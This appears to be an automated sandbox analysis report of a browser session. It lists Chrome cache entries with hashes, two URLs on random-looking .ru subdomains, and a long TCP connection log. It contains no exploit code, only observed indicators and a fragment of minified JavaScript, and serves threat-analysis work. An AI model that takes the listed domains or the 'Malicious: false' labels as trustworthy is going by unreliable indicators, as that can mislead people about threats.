Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Ue(e,c,a[c])})}return e}function Sr(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
URL:	https://d7fa.revishbos.ru/rand$lyz8b1
Preview:	1

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48138)
Category:	dropped
Size (bytes):	48139
Entropy (8bit):	5.399746609631708
Encrypted:	false
SSDEEP:	768:nCbU/CNu5h5taq75KvO0fV9/KFeWlzQylfTDjVsgVX2bwDBslY1L8ep7K1oiSJvU:4Nu5h5taq7gGYV9yjcylh2bQs3
MD5:	59306E15EB43DE76A56231E5E426EC80
SHA1:	7606B8E4AEACE12B393AD6DCEBDF6D64BC7240E9
SHA-256:	69865FE9BE4F6CDCED3CA8C047A486DB063F1179846F5EDFF395C39A7494FA34
SHA-512:	99C5EE7567FECB0FD92C4622EE949975972FC46E165AA8E9FF719B3A64472F15E6A79EC83CA533C7305B70B35984B7980AC0552CE1169DBD1DC2C3C1F2D83F4B
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function Ht(e,t,a,o,c,l,g){try{var h=e[l](g),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function g(s){Ht(l,o,c,g,h,"next",s)}function h(s){Ht(l,o,c,g,h,"throw",s)}g(void 0)})}}function D(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):D(e,t)}function Ue(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function De(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Ue(e,c,a[c])})}return e}function Sr(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
URL:	https://d8fc.ntonteral.ru/loray@sysdac8
Preview:	1

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 14, 2025 17:22:46.859668970 CET	49673	443	192.168.2.16	204.79.197.203
Feb 14, 2025 17:22:48.270883083 CET	49690	80	192.168.2.16	23.51.98.7
Feb 14, 2025 17:22:48.271090031 CET	49689	80	192.168.2.16	192.229.211.108
Feb 14, 2025 17:22:49.270312071 CET	49673	443	192.168.2.16	204.79.197.203
Feb 14, 2025 17:22:52.895579100 CET	49678	443	192.168.2.16	20.189.173.10
Feb 14, 2025 17:22:52.974076986 CET	49714	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:22:52.979005098 CET	53	49714	1.1.1.1	192.168.2.16
Feb 14, 2025 17:22:52.979083061 CET	49714	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:22:52.979182005 CET	49714	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:22:52.979199886 CET	49714	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:22:52.986382961 CET	53	49714	1.1.1.1	192.168.2.16
Feb 14, 2025 17:22:52.986397028 CET	53	49714	1.1.1.1	192.168.2.16
Feb 14, 2025 17:22:53.210666895 CET	49678	443	192.168.2.16	20.189.173.10
Feb 14, 2025 17:22:53.313085079 CET	49714	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:22:53.313481092 CET	49715	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:22:53.313522100 CET	443	49715	49.212.198.92	192.168.2.16
Feb 14, 2025 17:22:53.313580036 CET	49715	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:22:53.313813925 CET	49715	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:22:53.313829899 CET	443	49715	49.212.198.92	192.168.2.16
Feb 14, 2025 17:22:53.314296007 CET	49716	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:22:53.314337015 CET	443	49716	49.212.198.92	192.168.2.16
Feb 14, 2025 17:22:53.314404011 CET	49716	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:22:53.314604998 CET	49716	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:22:53.314624071 CET	443	49716	49.212.198.92	192.168.2.16
Feb 14, 2025 17:22:53.339215994 CET	53	49714	1.1.1.1	192.168.2.16
Feb 14, 2025 17:22:53.339277983 CET	49714	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:22:53.815695047 CET	49678	443	192.168.2.16	20.189.173.10
Feb 14, 2025 17:22:54.071868896 CET	49673	443	192.168.2.16	204.79.197.203
Feb 14, 2025 17:22:54.413690090 CET	443	49716	49.212.198.92	192.168.2.16
Feb 14, 2025 17:22:54.413973093 CET	49716	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:22:54.414006948 CET	443	49716	49.212.198.92	192.168.2.16
Feb 14, 2025 17:22:54.415096045 CET	443	49716	49.212.198.92	192.168.2.16
Feb 14, 2025 17:22:54.415174961 CET	49716	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:22:54.415194035 CET	443	49716	49.212.198.92	192.168.2.16
Feb 14, 2025 17:22:54.415256023 CET	49716	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:22:54.416609049 CET	49716	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:22:54.416691065 CET	443	49716	49.212.198.92	192.168.2.16
Feb 14, 2025 17:22:54.416845083 CET	49716	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:22:54.416855097 CET	443	49716	49.212.198.92	192.168.2.16
Feb 14, 2025 17:22:54.421338081 CET	443	49715	49.212.198.92	192.168.2.16
Feb 14, 2025 17:22:54.421607971 CET	49715	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:22:54.421626091 CET	443	49715	49.212.198.92	192.168.2.16
Feb 14, 2025 17:22:54.422796011 CET	443	49715	49.212.198.92	192.168.2.16
Feb 14, 2025 17:22:54.422877073 CET	49715	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:22:54.422888041 CET	443	49715	49.212.198.92	192.168.2.16
Feb 14, 2025 17:22:54.422924042 CET	49715	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:22:54.423677921 CET	49715	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:22:54.423759937 CET	443	49715	49.212.198.92	192.168.2.16
Feb 14, 2025 17:22:54.465107918 CET	49716	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:22:54.469662905 CET	49715	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:22:54.469679117 CET	443	49715	49.212.198.92	192.168.2.16
Feb 14, 2025 17:22:54.514705896 CET	49715	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:22:55.022671938 CET	49678	443	192.168.2.16	20.189.173.10
Feb 14, 2025 17:22:55.484983921 CET	443	49716	49.212.198.92	192.168.2.16
Feb 14, 2025 17:22:55.485074997 CET	443	49716	49.212.198.92	192.168.2.16
Feb 14, 2025 17:22:55.485223055 CET	49716	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:22:55.486795902 CET	49716	443	192.168.2.16	49.212.198.92
Feb 14, 2025 17:22:55.486826897 CET	443	49716	49.212.198.92	192.168.2.16
Feb 14, 2025 17:22:55.499172926 CET	49717	443	192.168.2.16	104.18.68.40
Feb 14, 2025 17:22:55.499213934 CET	443	49717	104.18.68.40	192.168.2.16
Feb 14, 2025 17:22:55.499285936 CET	49717	443	192.168.2.16	104.18.68.40
Feb 14, 2025 17:22:55.499526024 CET	49717	443	192.168.2.16	104.18.68.40
Feb 14, 2025 17:22:55.499541998 CET	443	49717	104.18.68.40	192.168.2.16
Feb 14, 2025 17:22:55.976471901 CET	443	49717	104.18.68.40	192.168.2.16
Feb 14, 2025 17:22:55.976850986 CET	49717	443	192.168.2.16	104.18.68.40
Feb 14, 2025 17:22:55.976866007 CET	443	49717	104.18.68.40	192.168.2.16
Feb 14, 2025 17:22:55.978694916 CET	443	49717	104.18.68.40	192.168.2.16
Feb 14, 2025 17:22:55.978773117 CET	49717	443	192.168.2.16	104.18.68.40
Feb 14, 2025 17:22:55.979870081 CET	49717	443	192.168.2.16	104.18.68.40
Feb 14, 2025 17:22:55.979964018 CET	443	49717	104.18.68.40	192.168.2.16
Feb 14, 2025 17:22:55.980070114 CET	49717	443	192.168.2.16	104.18.68.40
Feb 14, 2025 17:22:55.980076075 CET	443	49717	104.18.68.40	192.168.2.16
Feb 14, 2025 17:22:56.028707981 CET	49717	443	192.168.2.16	104.18.68.40
Feb 14, 2025 17:22:56.200350046 CET	443	49717	104.18.68.40	192.168.2.16
Feb 14, 2025 17:22:56.200475931 CET	443	49717	104.18.68.40	192.168.2.16
Feb 14, 2025 17:22:56.200670958 CET	49717	443	192.168.2.16	104.18.68.40
Feb 14, 2025 17:22:56.201106071 CET	49717	443	192.168.2.16	104.18.68.40
Feb 14, 2025 17:22:56.201128960 CET	443	49717	104.18.68.40	192.168.2.16
Feb 14, 2025 17:22:56.201139927 CET	49717	443	192.168.2.16	104.18.68.40
Feb 14, 2025 17:22:56.201543093 CET	49717	443	192.168.2.16	104.18.68.40
Feb 14, 2025 17:22:56.958811045 CET	49719	443	192.168.2.16	142.250.185.164
Feb 14, 2025 17:22:56.958853960 CET	443	49719	142.250.185.164	192.168.2.16
Feb 14, 2025 17:22:56.958941936 CET	49719	443	192.168.2.16	142.250.185.164
Feb 14, 2025 17:22:56.959161043 CET	49719	443	192.168.2.16	142.250.185.164
Feb 14, 2025 17:22:56.959173918 CET	443	49719	142.250.185.164	192.168.2.16
Feb 14, 2025 17:22:57.368267059 CET	49680	80	192.168.2.16	192.229.211.108
Feb 14, 2025 17:22:57.431818962 CET	49678	443	192.168.2.16	20.189.173.10
Feb 14, 2025 17:22:57.595279932 CET	443	49719	142.250.185.164	192.168.2.16
Feb 14, 2025 17:22:57.595639944 CET	49719	443	192.168.2.16	142.250.185.164
Feb 14, 2025 17:22:57.595666885 CET	443	49719	142.250.185.164	192.168.2.16
Feb 14, 2025 17:22:57.596724987 CET	443	49719	142.250.185.164	192.168.2.16
Feb 14, 2025 17:22:57.596879959 CET	49719	443	192.168.2.16	142.250.185.164
Feb 14, 2025 17:22:57.598237991 CET	49719	443	192.168.2.16	142.250.185.164
Feb 14, 2025 17:22:57.598305941 CET	443	49719	142.250.185.164	192.168.2.16
Feb 14, 2025 17:22:57.653696060 CET	49719	443	192.168.2.16	142.250.185.164
Feb 14, 2025 17:22:57.653706074 CET	443	49719	142.250.185.164	192.168.2.16
Feb 14, 2025 17:22:57.669703960 CET	49680	80	192.168.2.16	192.229.211.108
Feb 14, 2025 17:22:57.699718952 CET	49719	443	192.168.2.16	142.250.185.164
Feb 14, 2025 17:22:58.270728111 CET	49680	80	192.168.2.16	192.229.211.108
Feb 14, 2025 17:22:58.274298906 CET	49720	443	192.168.2.16	3.160.150.47
Feb 14, 2025 17:22:58.274347067 CET	443	49720	3.160.150.47	192.168.2.16
Feb 14, 2025 17:22:58.274755001 CET	49720	443	192.168.2.16	3.160.150.47
Feb 14, 2025 17:22:58.275038958 CET	49720	443	192.168.2.16	3.160.150.47
Feb 14, 2025 17:22:58.275065899 CET	443	49720	3.160.150.47	192.168.2.16
Feb 14, 2025 17:22:59.027555943 CET	443	49720	3.160.150.47	192.168.2.16
Feb 14, 2025 17:22:59.027888060 CET	49720	443	192.168.2.16	3.160.150.47
Feb 14, 2025 17:22:59.027914047 CET	443	49720	3.160.150.47	192.168.2.16
Feb 14, 2025 17:22:59.029562950 CET	443	49720	3.160.150.47	192.168.2.16
Feb 14, 2025 17:22:59.029648066 CET	49720	443	192.168.2.16	3.160.150.47
Feb 14, 2025 17:22:59.030917883 CET	49720	443	192.168.2.16	3.160.150.47
Feb 14, 2025 17:22:59.031002998 CET	443	49720	3.160.150.47	192.168.2.16
Feb 14, 2025 17:22:59.031143904 CET	49720	443	192.168.2.16	3.160.150.47
Feb 14, 2025 17:22:59.031151056 CET	443	49720	3.160.150.47	192.168.2.16
Feb 14, 2025 17:22:59.082698107 CET	49720	443	192.168.2.16	3.160.150.47
Feb 14, 2025 17:22:59.482671022 CET	49680	80	192.168.2.16	192.229.211.108
Feb 14, 2025 17:23:00.024596930 CET	443	49720	3.160.150.47	192.168.2.16
Feb 14, 2025 17:23:00.025186062 CET	443	49720	3.160.150.47	192.168.2.16
Feb 14, 2025 17:23:00.025249004 CET	49720	443	192.168.2.16	3.160.150.47
Feb 14, 2025 17:23:00.025712013 CET	49720	443	192.168.2.16	3.160.150.47
Feb 14, 2025 17:23:00.025734901 CET	443	49720	3.160.150.47	192.168.2.16
Feb 14, 2025 17:23:00.059094906 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:00.059142113 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:00.059221029 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:00.059607983 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:00.059623957 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:00.532744884 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:00.533090115 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:00.533123970 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:00.534158945 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:00.534240961 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:00.535248041 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:00.535336971 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:00.535414934 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:00.579380035 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:00.586683035 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:00.586699009 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:00.634761095 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.048012972 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.048078060 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.048116922 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.048229933 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.048260927 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.048274994 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.048331022 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.048547983 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.048712969 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.048717976 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.052654982 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.052678108 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.052776098 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.052791119 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.052860975 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.135432005 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.135483027 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.135535002 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.135555983 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.135634899 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.135658979 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.135715008 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.135730028 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.135736942 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.135797977 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.136312962 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.136385918 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.136456013 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.136495113 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.136517048 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.136574030 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.136579990 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.136687040 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.137044907 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.137080908 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.137084007 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.137094021 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.137140989 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.137453079 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.137595892 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.137615919 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.137650967 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.137658119 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.137748003 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.178921938 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.222855091 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.222887039 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.222910881 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.222944975 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.222980022 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.222995996 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.223110914 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.223325014 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.223330975 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.223400116 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.223498106 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.223505020 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.223561049 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.223814964 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.223877907 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.223893881 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.223946095 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.224610090 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.224710941 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.224795103 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.224858046 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.225318909 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.225382090 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.225423098 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.225492954 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.226130962 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.226203918 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.226258993 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.226300955 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.226315022 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.226320982 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.226347923 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.226361990 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.227122068 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.227200985 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.227221966 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.227272987 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.228044987 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.228106976 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.266288042 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.266518116 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.310789108 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.310822964 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.310888052 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.310941935 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.310966015 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.310988903 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.311081886 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.311101913 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.311115026 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.311254025 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.311280966 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.311292887 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.311302900 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.311330080 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.311353922 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.311402082 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.311708927 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.311762094 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.311933994 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.312000990 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.312032938 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.312074900 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.312474966 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.312504053 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.312536001 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.312550068 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.312566996 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.312593937 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.312654972 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.312665939 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.312763929 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.312788010 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.312814951 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.312825918 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.312838078 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.315542936 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.315574884 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.315659046 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.315681934 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.315720081 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.315722942 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.315752983 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.315778017 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.315800905 CET	49722	443	192.168.2.16	188.114.97.3
